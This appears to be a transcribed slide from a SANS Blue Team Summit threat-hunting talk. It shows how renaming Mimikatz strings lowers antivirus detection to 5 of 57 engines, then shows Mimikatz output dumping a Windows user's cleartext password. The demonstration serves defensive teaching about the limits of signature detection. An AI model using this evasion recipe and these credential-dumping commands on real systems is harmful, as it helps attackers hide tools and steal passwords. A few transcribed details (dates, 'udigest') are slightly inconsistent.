

Rename Files - Hash Signature Evasion

Threat Hunting via Sysmon - SANS Blue Team Summit

Announcing MimiyaKz: The Sed Persistent Threat (SPT) Strikes Again!

The screenshot displays a terminal window with the following commands:

```
mkdir work
cd work
unzip ../mimikatz-master.zip
mv mimikatz-master/mimikatz mimikatz-master/mimiyakz
mv mimikatz-master mimiyakz-master
find . -type f -exec rename 's/mimikatz/mimiyakz/' '{}' \;
tar cf - mimiyakz-master/ | sed "s/mimikatz/mimiyakz/g" > mimiyakz-master.tar
```

Below the terminal, a VirusTotal scan result for `mimiyakz.exe` is shown. The scan was performed on 2015-03-17 14:03:06 UTC. The detection ratio is 5/57. The analysis date is 2015-03-17 14:03:06 UTC (0 minutes ago).

The VirusTotal interface shows the file name `mimiyakz.exe`, the detection ratio `5 / 57`, and the analysis date `2015-03-17 14:03:06 UTC (0 minutes ago)`. The analysis results are displayed in a table with columns for the engine name and the result.

The terminal output shows the following information:

```
mimiyakz 2.0 alpha (x64) release "Kiwi en C" (Mar 17 2015 10:02:00)
#####
## A ##
## < \ ##
## \ / ##
## v ##
#####
/* **
Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
http://blog.gentilkiwi.com/mimikatz
with 15 modules ** */

mimiyakz # privilege::debug
Privilege '20' OK

mimiyakz # sekurlsa::logon
Authentication Id : 0 : 562205 (00000000:0000941d)
Session : Interactive from 1
User Name : Eric Conrad
Domain : WIN-RJDICNE931L
Logon Server : WIN-RJDICNE931L
Logon Time : 3/25/2015 4:55:34 PM
SID : S-1-5-21-1809378377-156103236-2360869670-1000

udigest :
* Username : Eric Conrad
* Domain : WIN-RJDICNE931L
* Password : This passphrase is uncrackable!!
```

[Link](#)